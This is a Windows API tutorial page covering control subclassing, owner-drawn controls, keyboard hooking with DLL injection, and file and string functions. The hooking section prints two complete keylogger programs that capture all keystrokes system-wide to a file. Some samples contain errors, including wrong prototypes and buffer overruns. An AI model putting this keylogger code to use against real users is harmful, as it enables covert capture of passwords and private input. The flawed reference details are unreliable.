Programming Windows
using MFC and API
  • API
  • MFC
  • C++
  • C

API category list

Creating Custom Controls

A custom control is any standard Windows control with additional functionality added to the existing predefined class. Since all windows belonging to the same class use the same default window procedure adding a new windows procedure allows the developer to amend the controls behaviour.

Subclassing

Subclassing the control window classes (buttons, edit boxes, list boxes, combo boxes, static controls, and scrollbars) allows an application to intercept and act on messages before a window has processed them. This allows an application to monitor and modify a window's behaviour. An application subclasses a window by replacing the address of the window's original window procedure with the address of a new window procedure called the subclass procedure.

Win32 offers two types of subclassing: instance and global. With an instance subclass, only a single instance of the windows procedure is subclassed. In global subclassing, an application replaces the address of the Windows procedure in the WNDCLASS structure of a window class. All subsequent windows created with that class will then have the address of the subclass procedure.

Instance Subclassing

To subclass an instance of a window, call the API function SetWindowLong() (now superseded by SetWindowLongPtr for 64-bit compatibility) and specify the handle of the window to subclass together with the name of the new procedure. Use of the instance subclass means that only messages related to a specific window instance will be sent to the new window procedure making it suited to a situation where only a single control needs to be adjusted.

The prototype of the SetWindowLong function is -

LONG SetWindowLong( HWND hWnd, int nIndex, LONG dwNewLong);
LONG_PTR SetWindowLongPtr(HWND hWnd,int nIndex,LONG_PTR dwNewLong);

Where
hWnd - Handle to the window.
hIndex - Specifies the zero-based offset to the value to be set.
dwNewLong - Specifies the replacement value.

If the function succeeds, the return value is the previous value of the specified offset.
If the function fails, the return value is zero.

Example

In the example below the command button is subclassed. When the button is clicked the application generates a beep

Display Code Download Code

Global Subclassing

To create a global Windows subclass call the API function SetClassLong() (now superseded by SetClassLongPtr for 64-bit compatibility). Typically a hidden window of the control class is used to make the global subclass. All windows using that Windows class will be created with the new process address. Global subclassing is better suited to situations where several controls must be adjusted. Any globally subclassed control class will need to remove and then replace the replacement subclass with the original before program termination. This can be done before the application closes by calling SetClassLong with the address of the original procedure as a parameter.

The prototype for the function SetClassLong is

DWORD SetClassLong(HWND hWnd, int  nIndex,LONG dwNewLong);
ULONG_PTR SetClassLongPtrA(HWND hWnd,int nIndex,LONG_PTR dwNewLong);

where
hWnd - A handle to the window.
nIndex - The value to be replaced. Specify one of the following values.
GCL_CBCLSEXTRA - Sets the size, in bytes, of the extra memory associated with the class. Setting this value does not change the number of extra bytes already allocated.
GCL_CBWNDEXTRA - Sets the size, in bytes, of the extra window memory associated with each window in the class. Setting this value does not change the number of extra bytes already allocated. For information on how to access this memory, see SetWindowLong.
GCL - Replaces a handle to the background brush associated with the class.
GCL_HCURSOR - Replaces a handle to the cursor associated with the class.
GCL_HICON - Replaces a handle to the icon associated with the class.
GCL_HICONSM - Replace a handle to the small icon associated with the class.
GCL_HMODULE - Replaces a handle to the module that registered the class.
GCL_MENUNAME - Replaces the address of the menu name string. The string identifies the menu resource associated with the class.
GCL_STYLE - Replaces the window-class style bits.
GCL_WNDPROC - Replaces the address of the window procedure associated with the class.
DwNewLong - The replacement value.
If the function succeeds, the return value is the previous value of the specified 32-bit integer  If the function fails, the return value is zero.

Example

The following short program demonstrates a global subclass on a button control. When the button is clicked the application generates a beep

Display Code Download Code

Superclassing

Superclassing means creating a new class based on the behaviour of an existing class. A superclass has its own window procedure. The superclass procedure can then act on the message before returning it to the original window procedure. To superclass, an existing class use the GetClassInfo() function (now superseded by GetClassInfoEx for 64-bit compatibility) to obtain the existing WNDCLASS structure and then modify its behaviour to point to the new class. The prototype for the GetClassInfo API function is

BOOL GetClassInfo(HINSTANCE hInstance,LPCSTR lpClassName,LPWNDCLASSA lpWndClass);
BOOL GetClassInfoExA(HINSTANCE hInstance,LPCSTR lpszClass,LPWNDCLASSEXA lpwcx);

where
HInstance - a handle to the application instance that created the class.
LpClassName - the preregistered class class name.
LpWndClass - A pointer to a WNDCLASS structure that receives the information about the class

If the function finds a matching class and successfully copies the data, the return value is nonzero.  If the function fails, the return value is zero.

Example

The following short program subclasses two buttons. The first uses a superclassed procedure and generates a beep. The 2nd button uses the standard Windows procedure to generate an exclamation.

Display Code Download Code

Details
Category: API category list
Published: 31 January 2024
Created: 31 January 2024
Last Updated: 13 April 2024
Hits: 134

Creating Owner-Drawn Controls

Buttons, menus, static text controls, list boxes, and combo boxes can be created with an owner-drawn style flag. Typically, Windows handles the task of drawing a control however when a control has the owner-drawn style, the normal Windows drawing process is suppressed and the parent of the control will receive a WM_DRAWITEM and WM_MEASUREITEM message when the control is created and needs to be painted. This allows the developer to build controls with a custom-rendered appearance and adjust aspects unavailable using regular properties.

Example

The application below consists of a customised listbox and a customised static box. The customised listbox displays a small bitmap next to each list item. Selecting any item will copy the Listbox item to the static box

Display Code Download Code

Example

The application below displays a customised menu. Clicking the file options displays a user-defined drop-down list

owner drawn control menu image

Display Code Download Code

Details
Category: API category list
Published: 31 January 2024
Created: 31 January 2024
Last Updated: 13 April 2024
Hits: 135

API Hooking and DLL Injection

Hooking is a technique for altering the behaviour of an operating system or application by intercepting API function calls. The code that handles such interceptions is called a hook procedure. A hook procedure can act on each event it receives, and then modify or discard it. DLL injection is a technique used to run code within another process’s address space by forcing it to load a dynamic-link library. DLL injection can usually be used by external programs to change the behaviour of another program.

Windows allows a developer to insert hooks using the SetWindowsHookEx() function.  When an event such as a keypress occurs, the OS can be set to hook or call a new procedure.  A hook chain is a list of pointers to application-defined hook procedures. When a message occurs that is associated with a particular type of hook, the system passes the message to each hook procedure referenced in the hook chain

The prototype for SetWindowsHookEx is

HOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hmod,DWORD dwThreadId);

Where
idHook – is the type of hook procedure to be installed. This parameter can be one of the following values.
WH_DEBUG – used to monitor messages before the system sends them to the destination window procedure.
WH_CALLWNDPROCRET – used to monitor messages processed by the destination window procedure.
WH_CBT – used to receive notifications useful to a CBT application
WH_DEBUG – used when the application’s foreground thread is about to become idle.
WH_FOREGROUNDIDLE – used for performing low-priority tasks during idle time.
WH_JOURNALPLAYBACK – used to post messages previously recorded by a WH_JOURNALRECORD hook procedure.
WH_JOURNALRECORD – used to record input messages posted to the system message queue.
WH_KEYBOARD – used to monitor keystroke messages.
WH_KEYBOARD_LL – used to monitor low-level keyboard input events.
WH_MOUSE – Installs a hook procedure that monitors mouse messages.
WH_MOUSE_LL – used to monitor low-level mouse input events.
WH_MSGFILTER – used to monitor input events in a dialog box, message box, menu, or scroll bar.
WH_SHELL – used to monitor shell applications
WH_SYSMSGFILTER – used to monitor messages generated by an input event in a dialog box, message box, menu, or scroll bar.
Lpfn – A pointer to the hook procedure.
Hmod – A handle to the DLL containing the hook procedure pointed to by the lpfn parameter.
DwThreadId – The thread identifier with which the hook procedure is associated.

Return value – If the function succeeds, the return value is the handle to the hook procedure. If the function fails, the return value is NULL.

For detailed reading on the SetWindowsHookExA – https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa

The hook procedure

A hook procedure has the following syntax:

LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
return CallNextHookEx(NULL, nCode, wParam, lParam);
}

The nCode parameter is used to determine the action to perform. The value of the hook code depends on the type of the hook. The wParam and lParam parameters depend on the hook code, but they typically contain information about a message that was sent or posted

Calling the CallNextHookEx function to chain to the next hook procedure is not necessary, but it is highly recommended. This will enable other applications that have installed hooks to receive hook notifications and behave normally.

For further detailed reading about hooking
https://docs.microsoft.com/en-us/windows/win32/winmsg/about-hooks


The two examples below create two simple console applications to illustrate how hooking can create a global key-logging routine. Both routines record keystrokes and not character output

The first routine uses explicit linking and a separate dll file to load a keylogging procedure and stores the keystrokes in a file keylogfile.log. The hook will be maintained until UnhookWindowsHook is called by pressing the enter key or closing the console application.

With the WH_KEYBOARD parameter option, the callback function is implemented in a DLL that will be injected into any process that receives the keyboard input. Note that a 32-bit DLL will only be injected into 32-bit processes and similarly for a 64-bit DLL. This means that to capture all keystrokes, two separate DLLs may be required.

//inject.dll
#include <stdio.h>
#include <Windows.h>

extern "C" __declspec(dllexport) int meconnect(int code, WPARAM wParam, LPARAM lParam) {
FILE *file;
//default keylogger.txt location is current program .exe directory
file=fopen( "keylogger.txt", "a+");
if(code == HC_ACTION)
{
char str[2]="";
sprintf(str,"%c",(char)wParam);
if ((DWORD)lParam & 0x40000000)
{
fprintf(file,str);
}
}
fclose(file);
return (CallNextHookEx(NULL, code, wParam, lParam));
}

 

  //win32 console application.
#define _WIN32_WINNT 0x0400
#include <windows.h>
#include <stdio.h>
int main(int argc, char* argv[])
{
// Load library containing hooking function.
HMODULE dll = LoadLibrary("C:\\inject.dll");//be sure to change this to the location OF THE DLL
if(dll == NULL) {
printf("The DLL could not be found.\n");
getchar();
return -1;
}
// Get the address of the function inside the DLL.
HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "meconnect");
if(addr == NULL) {
printf("The function was not found.\n");
getchar();
return -1;
}
//Hook the function.
HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0);
if(handle == NULL) {
printf("The KEYBOARD could not be hooked.\n");
}
//Unhook the function.
printf("Program successfully hooked.\nPress enter to unhook the function and stop the program.");
getchar();
UnhookWindowsHookEx(handle);
return 0;
}

This second routine calls an ‘export’ function declared within the executable and stores the results in the textfile keylogfile.log. In this instance, the callback function is invoked via Windows messages. It does not perform any process injection and thus does not require that the callback is in a DLL. It does require that the application has a Windows message loop to handle the message processing. This method works with both 32 and 64-bit processes on Windows. The hook will be maintained until UnhookWindowsHook is called by pressing the escape key or by closing the console application.

  //console application
#define _WIN32_WINNT 0x0400
#include <Windows.h>
#include <stdio.h>
HHOOK hKeyHook;
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode,WPARAM wParam,LPARAM lParam) {
// Function "exported" from the executable. Performs low level hook-handling.
// nCode containsThe hook code,wParam contains the window message
// and lParam is a pointer to a struct with information about the pressed key
if ((nCode == HC_ACTION) &&((wParam == WM_SYSKEYDOWN) ||(wParam == WM_KEYDOWN)))
{
KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
DWORD dMsg = 1;
dMsg += hooked.scanCode << 16;
dMsg += hooked.flags << 24;
char keyName[0x100] = {0};
keyName[0] = '[';
int i = GetKeyNameTextA(dMsg, (keyName+1),0xFF) + 1; //retrieves the name of the pressed key.
keyName[i] = ']';
if (hooked.vkCode==VK_ESCAPE)//checks for escape key and closes message loop
{
PostQuitMessage(0);
}
// Print the key name to key logging file 'keys'.
FILE *file;
//default keylogger.txt location is current program .exe directory
file=fopen("keylogfile.log","a+");
fputs(keyName,file);
fflush(file);
}
return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
}
// Simple message loop to keep process running until terminated by either escape of closing command window.
void MsgLoop()
{
MSG message;
while (GetMessage(&message,NULL,0,0)) {
TranslateMessage( &message );
DispatchMessage( &message );
}
}
// This KeyLogger function is used install the low level keyboard hook
DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
HINSTANCE hExe = GetModuleHandle(NULL); // Get the module handle to this executable
if (!hExe) hExe = LoadLibraryA((LPCSTR) lpParameter);
if (!hExe) return 1; //if load library failed return
// set up the keyboard hook using functions KeyEvent from this executable
hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe,NULL);
printf("Program successfully hooked.\nPress escape to unhook the function and stop the program.\n");
MsgLoop();//call message koop.
printf("Unhook the function and stop the program.\n");
UnhookWindowsHookEx(hKeyHook);
return 0;
}
// Main function call keylogger
int main(int argc, char** argv)
{
KeyLogger(0);
return 0;
}
Details
Category: API category list
Published: 31 January 2024
Created: 31 January 2024
Last Updated: 05 April 2024
Hits: 138

File Management API Functions

The Win32 API offers a set of functions for accessing and managing disk files. This is in addition to the I/O functions available as part of the C and C++ runtime libraries. A selection of these API functions is outlined below.

For further reading on the full list of file management functions 

https://docs.microsoft.com/en-us/windows/win32/fileio/file-management-functions

Creating and Opening Files

All types of files can be created and opened with the API function CreateFile(). Windows assigns a file handle to each file that is opened or created. This handle is then used to access that file. File handles are valid until closed with the CloseHandle() function, which closes the file and flushes the buffers. The prototype of this function is

HANDLE CreateFile(LPCSTR lpFileName,DWORD dwAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile);

Where
lpFileName - The name of the file or device to be created or opened with a backslash (\) to separate the components of a path.
dwAccess - The requested access to the file or device, which can be summarized as read, write, both or neither
dwShareMode - read, write, both, delete, all of these, or none.
lpSecurityAttributes - determines whether the child processes can be inherited the returned handle. This parameter can be NULL.
dwCreationDisposition - An action to take on a file or device that exists or does not exist.
dwFlagsAndAttributes - file or device attributes and flag
hTemplateFile - handle to a template file that supplies file attributes and extended attributes for the file that is being created. This parameter can be NULL.

If the function succeeds, the return value is an open handle to the specified file. If the function fails, the return value is INVALID_HANDLE_VALUE

Reading From and Writing to a File

When a file is first opened, Windows places a file pointer at the start of the file. Windows then advances the file pointer after the next read or write operation. An application can also move the file pointer position with the SetFilePointer() function. An application performs read and write operations with the ReadFile() and WriteFile() API functions. The prototype of these functions are -

BOOL ReadFile(HANDLE hFile,LPVOID lpBuffer,DWORD nNumberOfBytes,LPDWORD lpNumberOfBytes,LPOVERLAPPED lpOverlapped);
BOOL WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytes, LPDWORD lpNumberOfBytes, LPOVERLAPPED lpOverlapped );

Where
hFile - A handle to the device
lpBuffer - A pointer to the buffer that holds the data to be read or written.
nNumberOfBytes - The maximum number of bytes to be read or written.
lpNumberOfBytes - Number of bytes read or written when using a synchronous hFile parameter. 
lpOverlapped - A pointer to an OVERLAPPED structure.

If the function succeeds, the return value is nonzero.  If the function fails the return value is zero.

When the file pointer reaches the end of the file any attempts to read any further data will return an error.

Windows allows more than one application to open a file and write to it. To prevent two applications from trying to write to the same file simultaneously, an application can lock the shared file area with the LockFile() function (see below). Locking part of a file prevents other processes from reading or writing anywhere in the specified area. When the application has completed its file operations it can unlock that region of the file using the UnlockFile() function. All locked regions of a file should be unlocked before closing a file.

The code section below demonstrates the API functions ReadFile() and WriteFile() by creating and then writing to a simple text file and then reading the contents before displaying them in a messagebox

#include <windows.h>
int APIENTRY WinMain( HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow )
{
 HANDLE hFile;
// create the file.
hFile = CreateFile( TEXT("FILE1.TXT"), GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ, NULL, OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL );
if ( hFile != INVALID_HANDLE_VALUE )
{
DWORD dwByteCount;
TCHAR szBuf[64]=TEXT("/0");
// Write a simple string to hfile.
WriteFile( hFile, "This is a simple message", 25, &dwByteCount, NULL );
// Set the file pointer back to the beginning of the file.
SetFilePointer( hFile, 0, 0, FILE_BEGIN );
// Read the string back from the file.
ReadFile( hFile, szBuf, 128, &dwByteCount, NULL );
// Null terminate the string.
szBuf[dwByteCount] = 0;
// Close the file.
CloseHandle( hFile );
//output message with string if successful
 MessageBox( NULL, TEXT("File created"), TEXT(""), MB_OK );
}
else
{
//output message if unsuccessful
 MessageBox( NULL, TEXT("File not created"), TEXT(""), MB_OK );
}
 return 0;
}

CopyFile

Copies an existing file to a new file but not the security attributes. The prototype of the copyfile() API function is

BOOL CopyFile(LPCTSTR lpExistingFileName,LPCTSTR lpNewFileName,BOOL bFailIfExists);

Where
lpExistingFileName - The name of an existing file.
lpNewFileName - The name of the new file.
bFailIfExists - If this parameter is TRUE and the new file already exists the function fails. If this parameter is FALSE and the new file already exists, the function overwrites the existing file and returns true.

If the function succeeds, the return value is nonzero. If the function fails, the return value is zero.

CreateDirectory

Creates a new directory. The function applies a specified security descriptor to the new directory if the underlying file system is NTFS or one that supports security on files and directories. The prototype of this function is

BOOL CreateDirectory(LPCSTR lpPathName,LPSECURITY_ATTRIBUTES lpSecurityAttributes);

lpPathName - The path of the directory to be created
lpSecurityAttributes - A pointer to a SECURITY_ATTRIBUTES structure

Returns TRUE if successful; otherwise, the return value is FALSE.

DeleteFile

Deletes an existing file. If an application attempts to delete an open file or a file that does not exist, the function fails. The prototype of this function is

BOOL DeleteFile(LPCSTR lpFileName);

Where LpFileName is the name of the file to be deleted.  If the function succeeds, the return value is nonzero. If the function fails, the return value is zero (0).

GetFileAttributes

Retrieves file system attributes for a specified file or directory. The prototype of this function is

DWORD GetFileAttributes(LPCSTR lpFileName);

Where lpFileName is the name of the file or directory.  If the function succeeds, the return value contains the attributes of the specified file or directory. If the function fails, the return value is INVALID_FILE_ATTRIBUTES.

MoveFile

Moves an existing file or a directory to a new location on a volume. MoveFile will fail on directory moves when the destination is on a different volume. The prototype for this function is

BOOL MoveFile(LPCTSTR lpExistingFileName,LPCTSTR lpNewFileName);

LpExistingFileName - The name of the file or directory on the local computer.
LpNewFileName - The new name for the file or directory.

If the function succeeds, the return value is nonzero. If the function fails, the return value is zero.

RemoveDirectory.

Deletes the specified empty directory. The prototype of this function is

BOOL RemoveDirectory( LPCTSTR lpszDir );

Where lpszDir is a pointer to a null-terminated string that contains the path of the directory to be removed. The directory must be empty and the calling process must have delete access to the directory.  Returns true if successful; otherwise, the return value is FALSE. 

LockFile

Locks a region in an open file. The prototype for this function is

BOOL LockFile(HANDLE hFile,DWORD dwFileOffsetLow,DWORD dwFileOffsetHigh,DWORD nNumberOfBytesToLockLow,DWORD nNumberOfBytesToLockHigh);

where
hFile - A handle to the file.
dwFileOffsetLow - The low-order 32 bits of the starting byte offset in the file where the lock should begin.
dwFileOffsetHigh - The high-order 32 bits of the starting byte offset in the file where the lock should begin.
nNumberOfBytesToLockLow- The low-order 32 bits of the length of the byte range to be locked.
nNumberOfBytesToLockHigh -The high-order 32 bits of the length of the byte range to be locked.

If the function succeeds, the return value is nonzero (TRUE). If the function fails, the return value is zero (FALSE). 

UnlockFile

Unlocks a region in an open file

BOOL UnlockFile(HANDLE hFile,DWORD dwFileOffsetLow,DWORD dwFileOffsetHigh,DWORD nNumberOfBytesToUnlockLow,DWORD nNumberOfBytesToUnlockHigh);

where
hFile - A handle to the file that contains a region locked with LockFile.
dwFileOffsetLow - The low-order word of the starting byte offset in the file where the locked region begins.
dwFileOffsetHigh - The high-order word of the starting byte offset in the file where the locked region begins.
nNumberOfBytesToUnlockLow - The low-order word of the length of the byte range to be unlocked.
nNumberOfBytesToUnlockHigh - The high-order word of the length of the byte range to be unlocked.

If the function succeeds, the return value is nonzero. - If the function fails, the return value is zero.

Details
Category: API category list
Published: 31 January 2024
Created: 31 January 2024
Last Updated: 11 April 2024
Hits: 144

String Manipulation Functions

The string manipulation functions of the Win32 API allow an application to test and manipulate the contents of a string. A selection of these is listed below. For a full list of string manipulation functions - https://docs.microsoft.com/en-us/windows/win32/menurc/string-functions

CharLower

Translates a character string to lowercase. 

LPSTR CharLower(LPSTR lpsz);

Where lpsz is a null-terminated string or specifies a single character. If the operand is a character string, the function returns a pointer to the converted string.

CharNext

Retrieves a pointer to the next character in a string. The prototype for this function is

LPSTR CharNext(LPCSTR lpsz);

Where lpsz is a character in a null-terminated string. The return value is a pointer to the next character in the string, or to the terminating null character if at the end of the string.

CharPrev

Positions pointer to the previous character in a string. 

LPSTR CharPrev(LPCSTR lpszStart,LPCSTR lpszCurrent);

where
LpszStart - The beginning of the string.
LpszCurrent - A character in a null-terminated string.
The return value is a pointer to the preceding character in the string, or to the first character in the string

CharUpper

Converts a character string to uppercase. The prototype for this function is

LPSTR CharUpper(LPSTR lpsz);

Where lpsz is a null-terminated string or a single character. If the operand is a character string, the function returns a pointer to the converted string.

IsCharAlpha

Determines whether a character is an alphabetical character.

BOOL IsCharAlpha(CHAR ch);

Where ch is the character to be tested. If the character is alphabetical, the return value is nonzero. If the character is not alphabetical, the return value is zero.

IsCharAlphaNumberic

Determines whether a character is an alphanumeric character.

BOOL IsCharAlpha(CHAR ch);

Where ch is the character to be tested. If the character is alphanumeric, the return value is nonzero. If the character is not alphanumeric, the return value is zero.

IsCharLower

Determines whether a character is lowercase.

BOOL IsCharLower(CHAR ch);

Were ch is the character to be tested. If the character is lowercase, the return value is nonzero. If the character is not lowercase, the return value is zero.

IsCharUpper

Determines whether a character is uppercase.

BOOL IsCharLower(CHAR ch);

Where ch is the character to be tested. If the character is uppercase, the return value is nonzero. If the character is not uppercase, the return value is zero.

Lstrlen

Determines the length of the specified string excluding the terminating null character.

int lstrlen(LPCSTR lpString);

Where lpString is the null-terminated string to be checked.
The function returns the length of the string, in characters.

Example

The following short program demonstrates various API string manipulation functions

Display Code Download Code

Details
Category: API category list
Published: 31 January 2024
Created: 31 January 2024
Last Updated: 13 April 2024
Hits: 144
  1. System Information Functions

Page 3 of 3

  • 1
  • 2
  • 3
  1. You are here:  
  2. Home
  3. Dialog Boxes
  4. API category list

API

  • Creating a Simple Window
  • Common Elements
  • Data Types and Character Sets
  • Device Context
  • Dealing with Display Attributes
  • Displaying Text
  • Creating Graphics
  • Mapping Modes
  • Keyboard Input
  • Working with the Mouse
  • Creating Menus
  • Adding Controls
  • Dialog Boxes
  • Windows Message Box
  • The Common Dialog Box
  • Bitmaps
  • Common Controls
  • Creating a Toolbar
  • Multiple Document Interface
  • Timers
  • DLL's
  • Creating Custom Controls
  • Creating Owner-Drawn Controls
  • API Hooking and DLL Injection
  • File Management API Functions
  • String Manipulation
  • System Information Functions

Login Form

  • Forgot your password?
  • Forgot your username?